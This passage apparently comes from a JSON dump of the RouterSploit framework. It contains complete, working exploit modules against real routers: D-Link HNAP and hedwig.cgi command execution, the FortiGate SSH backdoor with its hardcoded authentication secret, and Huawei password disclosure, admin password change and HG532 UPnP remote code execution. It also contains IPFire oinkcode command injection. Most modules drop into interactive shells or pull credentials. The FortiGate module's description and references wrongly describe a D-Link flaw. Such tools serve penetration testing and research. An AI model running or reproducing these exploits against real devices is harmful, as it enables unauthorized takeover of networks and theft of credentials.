utils.random_text(12).encode(\"utf-8\")\n        shellcode += struct.pack(\"<I\", libcbase + calcsystem)\n        shellcode += utils.random_text(16).encode(\"utf-8\")\n        shellcode += cmd\n\n        headers = {\n            \"Content-Type\": \"application/x-www-form-urlencoded\",\n            \"Cookie\": b\"uid=\" + shellcode + b\";\"\n        }\n\n        data = {\n            utils.random_text(7): utils.random_text(7)\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/hedwig.cgi\",\n            headers=headers,\n            data=data,\n        )\n\n        if response is None:\n            return \"\"\n\n        return response.text[response.text.find(\"</hedwig>\") + len(\"</hedwig>\"):].strip()\n\n    @mute\n    def check(self):\n        fingerprint = utils.random_text(10)\n        cmd = \"echo {}\".format(fingerprint)\n\n        response = self.execute(cmd)\n\n        if fingerprint in response:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/multi_hnap_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link Multi HNAP RCE\",\n        \"description\": \"Module exploits HNAP remote code execution vulnerability in multiple D-Link \"\n                       \"devices which allows executing commands on the device.\",\n        \"authors\": (\n            \"Samuel Huntley\",  # vulnerability discovery\n            \"Craig Heffner\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/37171/\",\n            \"https://www.exploit-db.com/exploits/38722/\",\n            \"http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-645\",\n            \"D-Link AP-1522 revB\",\n            \"D-Link DAP-1650 revB\",\n            \"D-Link DIR-880L\",\n            \"D-Link DIR-865L\",\n            \"D-Link DIR-860L revA\",\n            \"D-Link DIR-860L revB\",\n            \"D-Link DIR-815 revB\",\n            \"D-Link DIR-300 revB\",\n            \"D-Link DIR-600 revB\",\n            \"D-Link DIR-645\",\n            \"D-Link TEW-751DR\",\n            \"D-Link TEW-733GR\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_status(\"Target might be vulnerable - it is hard to verify\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection, response is not available\")\n            shell(self, architecture=\"mipsle\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        cmd_new = \"cd && cd tmp && export PATH=$PATH:. && {}\".format(cmd)\n        soap_action = '\"http://purenetworks.com/HNAP1/GetDeviceSettings/`{}`\"'.format(cmd_new)\n        headers = {\"SOAPAction\": soap_action}\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/HNAP1/\",\n            headers=headers\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        headers = {\"SOAPAction\": '\"http://purenetworks.com/HNAP1/GetDeviceSettings\"'}\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/HNAP1/\",\n            headers=headers\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"D-Link\" in response.text and \"SOAPActions\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/fortinet/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/fortinet/fortigate_os_backdoor.py",
    "content": "import paramiko\nimport base64\nimport hashlib\n\nfrom routersploit.core.exploit import *\nfrom routersploit.core.ssh.ssh_client import SSHClient\n\n\nclass Exploit(SSHClient):\n    __info__ = {\n        \"name\": \"FortiGate OS 4.x-5.0.7 Backdoor\",\n        \"description\": \"Module exploits D-Link DNS-320L, DNS-327L Remote Code Execution vulnerability \"\n                       \"which allows executing command on the device.\",\n        \"authors\": (\n            \"operator8203\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router\",\n            \"http://www.s3cur1ty.de/home-network-horror-days\",\n            \"http://www.s3cur1ty.de/m1adv2013-003\",\n        ),\n        \"devices\": (\n            \"FortiGate OS Version 4.x-5.0.7\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(22, \"Target SSH port\")\n\n    def run(self):\n        client = paramiko.SSHClient()\n        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n        try:\n            client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False)\n        except paramiko.ssh_exception.SSHException:\n            pass\n        except Exception:\n            print_error(\"Exploit Failed - SSH Service is down\")\n            return\n\n        trans = client.get_transport()\n        try:\n            trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)\n        except paramiko.ssh_exception.AuthenticationException:\n            pass\n        except Exception:\n            print_status(\"Error with Existing Session. Wait few minutes.\")\n            return\n\n        try:\n            trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)\n\n            print_success(\"Exploit succeeded\")\n            ssh_interactive(client)\n        except Exception:\n            print_error(\"Exploit failed\")\n            return\n\n    @mute\n    def check(self):\n        client = paramiko.SSHClient()\n        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n        try:\n            client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False)\n        except paramiko.ssh_exception.SSHException:\n            pass\n        except Exception:\n            return False  # target is not vulnerable\n\n        trans = client.get_transport()\n        try:\n            trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)\n        except paramiko.ssh_exception.AuthenticationException:\n            pass\n        except Exception:\n            return None  # could not verify\n\n        try:\n            trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)\n        except Exception:\n            return False  # target is not vulnerable\n\n        return True  # target is vulnerable\n\n    def custom_handler(self, title, instructions, prompt_list):\n        n = prompt_list[0][0]\n        m = hashlib.sha1()\n        m.update('\\x00' * 12)\n        m.update(n + 'FGTAbc11*xy+Qqz27')\n        m.update('\\xA3\\x88\\xBA\\x2E\\x42\\x4C\\xB0\\x4A\\x53\\x79\\x30\\xC1\\x31\\x07\\xCC\\x3F\\xA1\\x32\\x90\\x29\\xA9\\x81\\x5B\\x70')\n        h = 'AK1' + base64.b64encode('\\x00' * 12 + m.digest())\n        return [h]\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/huawei/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/huawei/e5331_mifi_info_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Huawei E5331 Info Disclosure\",\n        \"description\": \"Module exploits information disclosure vulnerability in Huawei E5331 MiFi Mobile Hotspot\"\n                       \"devices. If the target is vulnerable it allows to read sensitive information.\",\n        \"authors\": (\n            \"J. Greil https://www.sec-consult.com\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/32161/\",\n        ),\n        \"devices\": (\n            \"Huawei E5331 MiFi Mobile Hotspot\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address: 192.168.1.1\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def __init__(self):\n        self.opts = [\"WifiAuthmode\", \"WifiBasicencryptionmodes\", \"WifiWpaencryptionmodes\", \"WifiWepKey1\", \"WifiWepKey2\",\n                     \"WifiWepKey3\", \"WifiWepKey4\", \"WifiWepKeyIndex\", \"WifiWpapsk\", \"WifiWpsenbl\", \"WifiWpscfg\", \"WifiRestart\"]\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/api/wlan/security-settings\",\n        )\n\n        if response is None:\n            return\n\n        res = []\n        for option in self.opts:\n            regexp = \"<{}>(.+?)</{}>\".format(option, option)\n            value = re.findall(regexp, response.text)\n            if value:\n                res.append((option, value[0]))\n\n        if len(res):\n            print_success(\"Found sensitive information!\")\n            print_table((\"Option\", \"Value\"), *res)\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/api/wlan/security-settings\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        res = []\n        for option in self.opts:\n            regexp = \"<{}>(.+?)</{}>\".format(option, option)\n            value = re.findall(regexp, response.text)\n            if value:\n                res.append(value)\n\n        if len(res):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/huawei/hg520_info_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.udp.udp_client import UDPClient\n\n\nclass Exploit(UDPClient):\n    __info__ = {\n        \"name\": \"Huawei HG520 Information Disclosure\",\n        \"description\": \"Module exploits Huawei EchoLife HG520 information disclosure vulnerablity. \"\n                       \"If the target is vulnerable it is possible to retrieve sensitive information.\",\n        \"authors\": (\n            \"hkm\",  # vulnerablity discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/12298/\",\n        ),\n        \"devices\": (\n            \"Huawei HG520\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(43690, \"Target port\")\n\n    def __init__(self):\n        self.payload = (\n            b\"\\x00\\x01\\x00\\x00\\x0e\\x00\\xeb\\x03\\x7f\\x0a\\x5f\\x00\\x10\\x00\\x02\\x00\\x13\\x00\\x00\\x00\\x50\\x02\\x00\\x00\\xe0\\xf4\\x12\\x00\\xb0\\xaa\\x19\\x00\"\n            b\"\\x18\\x87\\x15\\x00\\x84\\xfb\\x12\\x00\\x00\\x00\\x00\\x00\\x78\\x76\\x4b\\x02\\xa8\\x87\\xec\\x01\\x00\\x00\\x00\\x00\\x38\\x12\\x19\\x00\\x10\\xf5\\x12\\x00\"\n            b\"\\x32\\x00\\x00\\x00\\x34\\x60\\x5d\\x77\\x00\\x00\\x00\\x00\\x84\\xfb\\x12\\x00\\x01\\x00\\x00\\x00\\xb8\\x88\\x24\\x00\\xf8\\x8f\\x19\\x00\\x0d\\x00\\x00\\x00\"\n            b\"\\x18\\x94\\x19\\x00\\xf8\\x98\\x19\\x00\\x74\\xf4\\x12\\x00\\x84\\xf6\\x12\\x00\\x4c\\xf7\\x12\\x00\\x00\\xe9\\x91\\x7c\\x10\\x6f\\x94\\x7c\\x00\\x00\\xff\\xff\"\n            b\"\\xae\\x2c\\x92\\x7c\\xe4\\x2c\\x92\\x7c\\x51\\x2d\\x92\\x7c\\x58\\x2d\\x92\\x7c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf8\\xf7\\x12\\x00\"\n            b\"\\x44\\xf5\\x12\\x00\\xb0\\x65\\x92\\x7c\\xf8\\xf7\\x12\\x00\\x00\\xe9\\x91\\x7c\\x60\\x2d\\x92\\x7c\\xff\\xff\\xff\\xff\\x58\\x2d\\x92\\x7c\\x12\\x66\\x92\\x7c\"\n            b\"\\x01\\x00\\x00\\x00\\x76\\x02\\x48\\x0d\\xee\\x64\\x92\\x7c\\x00\\x00\\x00\\x00\\x9c\\x70\\x40\\x00\\x00\\x00\\x00\\x00\\x34\\x60\\x5d\\x77\\x30\\x28\\x1f\\x00\"\n            b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x2f\\x15\\x00\\x78\\x01\\x15\\x00\\x00\\x00\\x00\\x00\\x78\\x2f\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n            b\"\\x00\\x00\\x00\\x00\\x54\\xf8\\x12\\x00\\xa8\\x87\\xec\\x01\\x50\\xf8\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x76\\x02\\x48\\x0d\\x00\\x00\\x08\\x02\"\n            b\"\\xe4\\xf5\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\xf8\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n            b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\"\n            b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5c\\xf6\\x12\\x00\\x0d\\x00\\x00\\x00\\xa2\\x6f\\x94\\x7c\\xf8\\x98\\x19\\x00\\x78\\x76\\x4b\\x02\\xd8\\x93\\x19\\x00\"\n            b\"\\x60\\x90\\x19\\x00\\x0d\\x00\\x00\\x00\\xf8\\x8f\\x19\\x00\\x84\\xfb\\x12\\x00\\x28\\xf6\\x12\\x00\\x30\\xd4\\x4c\\x77\\x48\\xf7\\x12\\x00\\x00\\xe9\\x91\\x7c\"\n            b\"\\x94\\xf6\\x12\\x00\\x94\\xf6\\x12\\x00\\xd8\\x93\\x19\\x00\\xec\\x73\\x94\\x7c\\x70\\xe3\\x4b\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\"\n            b\"\\x00\\x00\\x00\\x00\\x0f\\x00\\x41\\x00\\x13\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xf8\\x98\\x19\\x00\\xb4\\xf9\\x12\\x00\\xf8\\x8f\\x19\\x00\"\n            b\"\\x58\\xf7\\x12\\x00\\x3d\\x00\\x92\\x7c\\xf6\\x89\\xec\\x01\\x00\\x00\\x00\\x00\\xe8\\x06\\x02\\x00\\x54\\xfc\\x12\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\"\n            b\"\\x00\\x00\\x00\\x00\\x12\\xe1\\xf8\\x09\\x7d\\x0b\\x00\\x00\\x72\\xab\\x56\\x48\\x3f\\xe1\\xbe\\x07\\x15\\x04\\x92\\x7c\\x1e\\x04\\x92\\x7c\\x00\\x00\\x00\\x00\"\n            b\"\\x00\\x00\\x00\\x00\\x00\\xe0\\xfd\\x7f\\xeb\\x50\\xd7\\xc6\\x1a\\x00\\x00\\x00\\x00\\xe0\\xfd\\x7f\\x00\\x10\\x91\\x7c\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\n            b\"\\x00\\xe0\\xfd\\x7f\\x5c\\xf7\\x12\\x00\\xe6\\x45\\x92\\x7c\\x40\\x04\\x92\\x7c\\x00\\xd6\\x98\\x7c\\x48\\xf7\\x12\\x00\\x40\\x12\\x19\\x00\\x8a\\x74\\x94\\x7c\"\n            b\"\\x2c\\xf7\\x12\\x00\\xa8\\x87\\xec\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x0e\\x00\\xeb\\x03\\x80\\x0a\\x5f\\x00\\x64\\x46\\x00\\x10\\xfe\\xf7\\x12\\x00\"\n            b\"\\xb0\\x44\\x00\\x10\\x04\\x00\\x00\\x00\\x8c\\xf7\\x12\\x00\\xd3\\x7e\\x92\\x7c\\xfe\\xf7\\x12\\x00\\x31\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xa0\\x45\\x00\\x10\"\n            b\"\\x64\\x46\\x00\\x10\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xfc\\xf7\\x12\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xe0\\x00\\x00\\x10\"\n            b\"\\x64\\xf7\\x12\\x00\\x01\\x00\\x00\\x00\\x9c\\xf7\\x12\\x00\\x65\\x03\\x92\\x7c\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x58\\xf8\\x12\\x00\\x9a\\x7d\\x92\\x7c\"\n            b\"\\x00\\x00\\x00\\x10\\xfe\\xf7\\x12\\x00\\xf8\\xf7\\x12\\x00\\xf8\\xf7\\x12\\x00\\xfe\\xf7\\x12\\x00\\x3f\\x7e\\x92\\x7c\\x78\\xb1\\x98\\x7c\\xe9\\x7d\\x92\\x7c\"\n            b\"\\x8c\\x70\\x40\\x00\\x9c\\x70\\x40\\x00\\xff\\xff\\x00\\x00\\x00\\xd0\\xfd\\x7f\\xe0\\x47\\x25\\x00\\x08\\xe4\\x80\\x7c\\xb0\\x44\\x00\\x10\\x6c\\xe4\\x80\\x7c\"\n            b\"\\xf0\\x47\\x25\\x00\\xa8\\xf8\\x12\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\xfc\\xf7\\x12\\x00\\xfc\\xf7\\x12\\x00\\x00\\x00\\x00\\x00\\xfe\\x04\\x00\\x00\"\n            b\"\\xd0\\x41\\x25\\x00\\x00\\x1b\\x00\\x10\\x00\\x00\\x67\\x65\\x74\\x41\\x64\\x73\\x6c\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x3d\\x00\\x92\\x7c\\xea\\x1b\\x80\\x7c\"\n            b\"\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\xfa\\x1b\\x80\\x7c\\x64\\x5d\\x47\\x00\\x9c\\x70\\x40\\x00\\x9f\\xac\\x80\\x7c\\x4e\\x02\\x50\\x02\\xa8\\x87\\xec\\x01\"\n            b\"\\x16\\x00\\x18\\x00\\x00\\xdc\\xfd\\x7f\\xef\\xfa\\x00\\x00\\xb4\\xf7\\x12\\x00\\xa8\\x87\\xec\\x01\\xa8\\xf9\\x12\\x00\\x00\\xe9\\x91\\x7c\\xf0\\x7d\\x92\\x7c\"\n            b\"\\xff\\xff\\xff\\xff\\xe9\\x7d\\x92\\x7c\\xa0\\x7e\\x92\\x7c\\x00\\x00\\x00\\x10\\x94\\xf8\\x12\\x00\\x00\\x00\\x00\\x00\\xa8\\xf8\\x12\\x00\\x01\\x00\\x00\\x00\"\n            b\"\\x9c\\xf8\\x12\\x00\\x6e\\xae\\x80\\x7c\\x9c\\xf8\\x12\\x00\\x80\\xae\\x80\\x7c\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x64\\x5d\\x47\\x00\\x9f\\xac\\x80\\x7c\"\n            b\"\\x0d\\x00\\x0e\\x00\\x8c\\x70\\x40\\x00\\xc4\\xf8\\x12\\x00\\xd8\\xa0\\x00\\x66\\x00\\x00\\x00\\x10\\x00\\x1b\\x00\\x10\\x84\\xfb\\x12\\x00\\x54\\xfc\\x12\\x00\"\n            b\"\\x01\\x00\\x00\\x00\\x68\\xf8\\x16\\x00\\xdc\\xf8\\x12\\x00\\x44\\x4a\\x0f\\x77\\xf4\\xf8\\x12\\x00\\x3b\\xa0\\x00\\x66\\x9c\\x70\\x40\\x00\\x01\\x00\\x00\\x00\"\n            b\"\\xec\\xf8\\x12\\x00\\xf0\\xf8\\x12\\x00\\xe8\\xf8\\x12\\x00\\x84\\xfb\\x12\\x00\\x54\\xfc\\x12\\x00\\x84\\xfb\\x12\\x00\\x00\\x1b\\x00\\x10\\x00\\x00\\x00\\x00\"\n            b\"\\xb8\\xf9\\x12\\x00\\xcb\\x70\\x40\\x00\\x9c\\x70\\x40\\x00\"\n        )\n\n        self.content = \"\"\n\n    def run(self):\n        if self.check():\n            print_status(\"Target returned data\")\n            print_info(self.content)\n        else:\n            print_error(\"Exploit failed - device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        udp_client = self.udp_create()\n        udp_client.send(self.payload)\n        response = udp_client.recv(1024)\n        udp_client.close()\n\n        if response:\n            self.content = response\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/huawei/hg530_hg520b_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Huawei HG530 & HG520b Password Disclosure\",\n        \"description\": \"Module exploits password disclosure vulnerability in Huawei HG530 and HG520b devices. \"\n                       \"If the target is vulnerable it allows to read credentials.\",\n        \"authors\": (\n            \"Fady Mohamed Osman (@fady_osman)\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/37424/\",\n        ),\n        \"devices\": (\n            \"Huawei Home Gateway HG530\",\n            \"Huawei Home Gateway HG520b\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        headers = {\n            'SOAPACTION': '\"urn:dslforum-org:service:UserInterface:1#GetLoginPassword\"',\n            'Content-Type': 'text/xml; charset=\"utf-8\"',\n            'Expect': '100-continue'\n        }\n        data = (\"<?xml version=\\\"1.0\\\"?>\"\n                \"<s:Envelope xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\" s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\">\"\n                \"<s:Body>\"\n                \"<m:GetLoginPassword xmlns:m=\\\"urn:dslforum-org:service:UserInterface:1\\\">\"\n                \"</m:GetLoginPassword>\"\n                \"</s:Body>\"\n                \"</s:Envelope>\")\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/UD/?5\",\n            headers=headers,\n            data=data\n        )\n        if response is None:\n            return\n\n        r = re.compile('<NewUserpassword>(.*?)</NewUserpassword>')\n        m = r.search(response.text)\n\n        if m:\n            print_success(\"Password has been found\")\n            print_info(\"Password: {}\".format(m.group(1)))\n        else:\n            print_error(\"Exploit failed - could not find password\")\n\n    @mute\n    def check(self):\n        headers = {'SOAPACTION': '\"urn:dslforum-org:service:UserInterface:1#GetLoginPassword\"',\n                   'Content-Type': 'text/xml; charset=\"utf-8\"',\n                   'Expect': '100-continue'}\n        data = (\"<?xml version=\\\"1.0\\\"?>\"\n                \"<s:Envelope xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\" s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\">\"\n                \"<s:Body>\"\n                \"<m:GetLoginPassword xmlns:m=\\\"urn:dslforum-org:service:UserInterface:1\\\">\"\n                \"</m:GetLoginPassword>\"\n                \"</s:Body>\"\n                \"</s:Envelope>\")\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/UD/?5\",\n            headers=headers,\n            data=data\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        r = re.compile('<NewUserpassword>(.*?)</NewUserpassword>')\n        m = r.search(response.text)\n\n        if m:\n            return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/huawei/hg532_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Huawei Router HG532 RCE\",\n        \"description\": \"Module exploits remote command execution in Huawei Router HG532 devices. \"\n                       \"If the target is vulnerable, command loop is invoked that allows executing commands \"\n                       \"on operating system level.\",\n        \"authors\": (\n            \"@jnazario\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215\",\n            \"http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en\",\n            \"https://pastebin.com/4nzunPB5\",\n        ),\n        \"devices\": (\n            \"Huawei HG532\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(37215, \"Target HTTP port\")\n    username = OptString(\"dslf-config\", \"Username to log in\")\n    password = OptString(\"admin\", \"Password to log in\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        payload = \"<?xml version=\\\"1.0\\\" ?>\\n    <s:Envelope xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\" s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\">\\n    <s:Body><u:Upgrade xmlns:u=\\\"urn:schemas-upnp-org:service:WANPPPConnection:1\\\">\\n    <NewStatusURL>$(\" + cmd + \")</NewStatusURL>\\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\\n</u:Upgrade>\\n    </s:Body>\\n    </s:Envelope>\"\n        response = self.http_request(\n            method='POST',\n            path='/ctrlt/DeviceUpgrade_1',\n            data=payload,\n            auth=(self.username, self.password)\n        )\n\n        return response.text\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\"\n        )\n\n        if response is not None and 'server' in response.headers.keys() and \"Linux uPnP/1.0 Huawei-ATP-IGD\" in response.headers['server']:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/huawei/hg866_password_change.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Huawei HG866 Password Change\",\n        \"description\": \"Module exploits password change vulnerability in Huawei HG866 devices. \"\n                       \"If the target is vulnerable it allows to change administration password.\",\n        \"authors\": (\n            \"hkm\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/19185/\",\n        ),\n        \"devices\": (\n            \"Huawei HG866\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    password = OptString('routersploit', 'Password value to change admin account with')\n\n    def run(self):\n        if self.check():\n            headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n            data = {'psw': self.password,\n                    'reenterpsw': self.password,\n                    'save': 'Apply'}\n\n            print_status(\"Sending password change request\")\n            response = self.http_request(\n                method=\"POST\",\n                path=\"/html/password.html\",\n                headers=headers,\n                data=data\n            )\n\n            if response.status_code == 200:\n                print_success(\"Administrator's password has been changed to {}\".format(self.password))\n            else:\n                print_error(\"Exploit failed - could not change password\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/html/password.html\"\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"psw\" in response.text and \"reenterpsw\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/ipfire/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/ipfire/ipfire_oinkcode_rce.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"IPFire Oinkcode RCE\",\n        \"description\": \"Module exploits IPFire < 2.19 Core Update 110 Remote Code Execution vulnerability \"\n                       \"which allows executing command on operating system level.\",\n        \"authors\": (\n            \"0x09AL\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/42149/\",\n        ),\n        \"devices\": (\n            \"IPFire < 2.19 Core Update 110\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(444, \"Target HTTP port\")\n    ssl = OptBool(True, \"SSL enabled: true/false\")\n\n    username = OptString(\"admin\", \"Username to log in with\")\n    password = OptString(\"admin\", \"Password to log in with\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self,\n                  architecture=\"cmd\",\n                  method=\"cmd\",\n                  payload=[\"awk\", \"perl\", \"php\", \"python\"])\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        headers = {\n            \"Referer\": \"{}://{}:{}/cgi-bin/ids.cgi\".format(\"https\" if self.ssl else \"http\", self.target, self.port)\n        }\n\n        payload = \"`{}`\".format(cmd)\n\n        data = {\n            \"ENABLE_SNORT_GREEN\": \"on\",\n            \"ENABLE_SNORT\": \"on\",\n            \"RULES\": \"registered\",\n            \"OINKCODE\": payload,\n            \"ACTION\": \"Download new ruleset\",\n            \"ACTION2\": \"snort\"\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/ids.cgi\",\n            headers=headers,\n            data=data,\n            auth=(self.username, self.password)\n        )\n\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/pakfire.cgi\",\n            auth=(self.username, self.password),\n        )\n\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200:\n            res = re.findall(r\"IPFire ([\\d.]{4}) \\([\\w]+\\) - Core Update ([\\d]+)\", response.text)\n            if res:\n                version = res[0][0]\n                update = int(res[0][1])\n\n                if Version(version) <= Version(\"2.19\") and update <= 110:\n                    return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/ipfire/ipfire_proxy_rce.py",
